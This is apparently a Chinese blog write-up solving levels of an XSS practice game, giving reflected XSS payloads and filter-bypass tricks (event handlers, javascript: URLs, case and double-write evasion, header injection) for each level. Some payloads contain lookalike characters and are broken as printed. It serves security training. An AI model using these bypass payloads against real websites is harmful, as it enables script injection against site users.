XSS小游戏通关题解
写这篇文章的目的
以前在学习和利用XSS漏洞的时候,最多的感受就是知识体系不够全面,不能快速准确的构造出payload,最近在整理xss漏洞利用的一些方法,一来希望自己能够准确快速的针对漏洞点构造出payload,二来是想自己写一些根据特征值进行自动化的小工具。
用xss小游戏来实践
第一关(无任何过滤,不需要闭合):
在用户处也就是name=的后面直接进行利用。查看源码可知不需要进行闭合。
payload:name=%3Cscript%3Ealert(1234)%3C/script%3E
第二关(闭合input标签):
payload:"%3E%3Cscript%3Ealert(1234)%3C/script%3E
第三关(进行html实体转换,单引号闭合):
使用了htmlspecialchars($str)函数,这个函数的作用是把一些预定义的字符转换为 HTML 实体。
预定义字符包括:
& (和号)成为 &
" (双引号)成为 & quot;
' (单引号)成为 '
> (小于)成为 & lt;
<(大于)成为 & gt;
这里可以利用js事件进行绕过,常使用的如下:
οnmοuseenter=alert() //当鼠标移动到就会触发
οnclick=alert() //鼠标点击时就会触发
οnchange=alert() //在域的内容改变时发生
οninput=alert() //在用户输入时触发
οnmοuseοver=alert()//鼠标移动到就会触发
payload为:
' onmouseover=alert(1)//
第四关(进行HTML实体转换,替换尖括号,双引号闭合):
虽然这一关与上一关相比,多了一个将尖括号替换为空的操作,但是上一关构造的payload的中没有尖括号,所以只需使用双引号闭合就可以继续使用上一关的payload
payload:
"onmouseover=alert(1)//
第五关(过滤on事件,过滤%3Cscript%3E标签,双引号闭合):
经过测试,带有on的时间不可以使用了被替换为o_n从而失效,使用%3Cscript%3Ealert(1)%3C/script%3E,发现针对%3Cscript%3E进行过滤使其变为%3Cscr_ipt%3E从而%3Cscript%3E标签失去作用。
但是并没有对尖括号进行转义,可以使用js伪协议进行绕过,
payload:"%3E%3Ca href=javascript:alert('xss')%3Etest%3C/a%3E
第六关(过滤了herf…但未进行大小写过滤,双引号闭合):
是用以前的payload进行尝试,发现不能用,过滤了很多东西,尝试变换一下大小写,成功绕过
payload:
"%3E %3CScript%3Ealert(1)%3C/script%3E //"%3E %3Cimg Src=x OnError=alert(1)%3E //"%3E%3Ca HrEf="javascript:alert(1)"%3Ezhouzhong%3C/a%3E//" OncliCk=alert(1) //
第七关(禁用大小写script,on,src ,data ,href 都直接转换成空,双引号闭合。)
双写绕过
payload:
"%3E%3Csscriptcript%3Ealert(1)%3C/sscriptcript%3E"%3Ehello%3Csscriptcript%3Ealert(1)%3C/sscriptcript%3E" oonnmouseover=alert(1)"%3E%3Ca hrhrefef=javascriscriptpt:alert(1)%3Exss%3C/a%3E
第八关:
过滤:
script 转换成 scr_ipt
on 转换成 o_n
src 转换成 sr_c
data 转换成 da_ta
href 转换成 hr_ef
大小写失效
" 还被编码,但是尖括号%3C%3E ,单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中
绕过:
属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,
javascript会被替换成javasc_rpt,我们使用r来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
伪协议后面可以使用URL编码等进行编码。因为本身就有herf标签,构造payload:
javascript:alert(‘xss’)
第九关:
和第八关类似,但是使用上一关的payload显示链接不合法,猜测要加上http://字符串
payload:
javascript:alert(1)//http://xxx.com //利用注释 javascript:alert(1)/*http://www*/ //利用注释 javascript:%0dhttp://xxx.com%0dalert(1) //不利用注释 javascript:%0ahttp://xxx.com%0aalert(1) //不利用注释
利用注释的payload比较好理解,这里分析一下不利用注释的payload:
//是单行注释,%0d和%0a可以绕过//单行注释
如果不加%0d(%0a)此时payload是
javascript:http://xxx.comalert(1)
里面http://的//在这里起到了一个注释的作用
payload实际变成了
javascript:http://
也就达不到效果
如果加上%0d(%0a)也就成了
javascript:
http://xxx.com
alert(1)
%0d可以绕过http://里的//防止被当成单行注释
%0d回车,%0a换行
第十关:
有三个参数,都试试:
keyword=%3Cscript%3Ealert(1)%3C/script%3E&t_link=%3Cscript%3Ealert(1)%3C/script%3E"type="txt"&t_history=%3Cscript%3Ealert(1)%3C/script%3E"type="txt"&t_sort=%3Cscript%3Ealert(1)%3C/script%3E"type="txt"
因为三个参数的类型都为隐藏,所以把他们都设为txt后才能显示出来(会忽略后面的type=“hidden”)
查看源码只有t_sort的value有值,并且过滤掉了尖括号
也就是说只有t_sort的输入处可以利用,因为过滤了%3C和%3E
payload:?t_sort="type=“text” οnmοuseοver="alert(1)
构成:
%3Cinput name=“t_sort” value=""type=“text” οnmοuseοver=“alert(1)” type=“hidden”%3E
第十一关(http头的xss利用)
多了一个 str11=_SERVER[‘HTTP_REFERER’]; 考察的是http头部的xss注入,burpsuite抓包,新增相应的字段,构造http头部Referer的payload:
Referer: " οnmοuseοver=alert(1) type=“text”
Referer: " οnclick="alert(1) type=“text”
第十二关(user-agent的xss利用):
同level 11可得
更改user-agent
user-agent: 。。。" οnmοuseοver=alert(1) type=“text”
user-agent: 。。。" οnclick="alert(1) type=“text”
第十三关(cookie的xss利用):
同level 11可得
更改cookie
cookie: 。。。" οnmοuseοver=alert(1) type=“text”
cookie: 。。。" οnclick="alert(1) type=“text”
第十四关:
查资料知道是要我们去访问网站http://www.exifviewer.org/ 可是已经打不开了。刚开始并不知是想干嘛,后来才发现是利用关于图片的exif属性。
关于exif,百度一下:
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
这下明确了,应该是想让我们修改图片的exif信息,上传到相应网站,然后达到执行XSS的效果。
大概找了一下,没有找到相应的平台,但发现了一个很棒的查看exif信息的网站:图虫EXIF查看器alpha版 可看到的信息非常详细。
最后,根据题目的考点,找了几个关于修改图片exif信息的工具,
PowerExif
MagicEXIF元数据编辑器
附上相关漏洞报告
https://www.hackersb.cn/hacker/140.html
第十五关:页面挂了
第十六关:
过滤:
禁止大小写绕过
script , / , (空格),等都被转换成
提交%3Cscript%3Ealert(1)%3C/script%3E 发现将script和/ 都转为空格了。
但是%3C和%3E没有过滤,后还发现空格也会转义,
这里用Blanks=(’%09’, ‘%0A’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0a’)代替 。从而绕过空格。不用空格或者替代品隔开,会由于属性没有隔开而报错。
构造payload:
https://xss.tesla-space.com/level16.php?keyword=%3Cimg%0Dsrc=1%0Donerror=alert(1)%3E
第十七关:
payload:https://xss.tesla-space.com/level17.php?arg01=a&arg02=1%20οnmοuseοver=alert(1)
解析:
1.url出存在构造a和b的问题,a和b都显示了,可以考虑在a,b处构造,而且不用考虑引号闭合问题(用空格隔开就好)。
2.%3Cembed%3E 标签是定义嵌入的内容,比如插件。这里插件就是xsf01.swf3.构造:arg01=a&arg02=1%20οnmοuseοver=alert(1) (这里直接把空格替代了,后来测试发现不替代也行)当鼠标移动到插件上时,成功
**第十八关:**同上题
payload:https://xss.tesla-space.com/level18.php?rg01=a&arg02=1%20οnmοuseοver=alert(1)
第十九/二十关:
是有关flash的xss,需要下载flash进行源码分析,分析不了。
总结
1.在这个小游戏中用到的一些绕过过滤的方法为:
遇到htmlspecialchars($str)函数进行实体转换–>利用js事件进行绕过
onmouseenter=alert() //当鼠标移动到就会触发
onclick=alert() //鼠标点击时就会触发
onchange=alert() //在域的内容改变时发生
oninput=alert() //在用户输入时触发
onmouseover=alert()//鼠标移动到就会触发
2.过滤on事件,过滤%3Cscript%3E标签–>利用js伪协议绕过
3.检测链接是否合法(检测输入特定值)–>注释绕过
4.关键字过滤 -->html实体编码绕过
5.空格转义–>%09’, ‘%0A’, ‘%0B’, ‘%0C’, ‘%0D’, '%0a替代空格
除此之外还要考虑:
大小写绕过,双写绕过,编码绕过等方式,组合起来共同构成payload。
由于文章篇幅原因,这篇文章就仅作为一个解题笔记,我决定把绕过姿势总结单独拿出来写一篇文章。
解释:因为编辑器的原因,%3Cscript%3E不显示,为了使文章完整,对尖括号进行编码,在这里做出说明。
XSS小游戏通关题解相关推荐
- Xss小游戏通关攻略带解释
Xss小游戏通关攻略 实验环境:xss小游戏源码+phpstudy 源码地址:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9 ...
- 2022-渗透测试-xss小游戏通关
这是一个在线靶场-xss小游戏通关,一共6关.链接地址: XSS game (xss-game.appspot.com)https://xss-game.appspot.com/登陆成功后,页面如下. ...
- Xss小游戏通关秘籍
本文作者:kale 本文首发于"合天智汇"公众号,转载请联系公众号! 一. 题记 最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐.于是玩了一下午,特此记录下来!xss姿 ...
- xss靶场练习(二)之xss小游戏
前言 话说自从网络安全修正法推出, 不敢轻易动国内的网站, 平时就打打靶场, 本文记录练习之路. xss小游戏在线地址: http://test.ctf8.com/ xss小游戏一共二十关. ...
- 【git小游戏通关大全】
前言: 最近为了弄懂git的使用和知识点,老师让我们在git小游戏Learn Git Branching多加练习,研究了好久游戏关总是突破不了,查看了很多资料和视频最终总结整理出一套完整的游戏闯关答案 ...
- CSDN官方2048小游戏通关秘诀及复现
目录 一.前言 二.通关小诀窍 1.游戏规则介绍 2.基于规则的一种相对全局最优方法 三.游戏复现 1.编程环境介绍 2.tkinter介绍 3.编程复现游戏效果 四.尾声及附录代码 1.尾声 2.附 ...
- git小游戏通关攻略(基础、高级、远程)
Samuel066 亲测爆肝git游戏通关攻略,史上最快,希望能够帮助到你们. Learng git baranching: https://learngitbranching.js.org/?loc ...
- XSS小游戏的通关之路
1.开始 <script>alert('a')</script><script>alert(1)</script><script>confi ...
- XSS闯关小游戏通关笔记
level1 - 无过滤 分析源码,没有任何的过滤. 直接在链接中构造最基本的XSS弹窗即可,弹窗内容为1. <script>alert(1)</script> level2 ...
最新文章
- nohup和的区别与关系
- golang 接口格式
- JavaScript日历(es5版本)
- OpenGL窗口属性
- SQL2008学习小结
- 系统架构师学习笔记-开发管理
- 人脸识别接口_人工智能 人脸识别双目模组摄像头 活体检测的重要作用
- Flutter 项目开发指导 从基础入门到精通使用目录
- kpatch: dynamic kernel patching
- 使用MEMCACHED的思考
- Java程序员在写SQL程序时候常犯的10个错误
- 基于微信小程序的签到程序
- 品牌 read.php,优网科技高级程序员关于PHP优化知识分享
- 傅里叶级数构建信号要求频率有正有负_电子科大学长说—信号与系统考研例题详解重点习题...
- rstp 转hls_EasyHLS实现将IPCamera摄像机的RTSP转HLS直播输出
- 武汉大学计算机学院编程能力,2014武汉大学计算机学院国家多媒体软件工程技术研究中心复试经验总结...
- asp mysql 性能_asp优化:最大限度优化你的Asp性能
- 查看android模拟器ip地址
- cocos lua 获取点到直线距离
- Android Audio播放流程详解
热门文章
- SIM800_基本指令调试笔记
- FastAPI学习-3(路由参数详解)
- 【​观察】与版权方合作 ,走上“正轨“的迅雷以后可以说什么样的故事?
- Ethernet 报文
- 彻底关闭Windows 10 Defender病毒防护
- vim deepin linux,在Deepin 20系统中只能用vim/vscode编辑器来打开conf文件
- 独家汇总! 全国30家5G产业联盟名单发布!(附情况介绍)
- UC浏览器版爱情买卖
- UC优视创始人何小鹏:移动互联网不得不看的5个大坑
- python matplotlib画三维折线图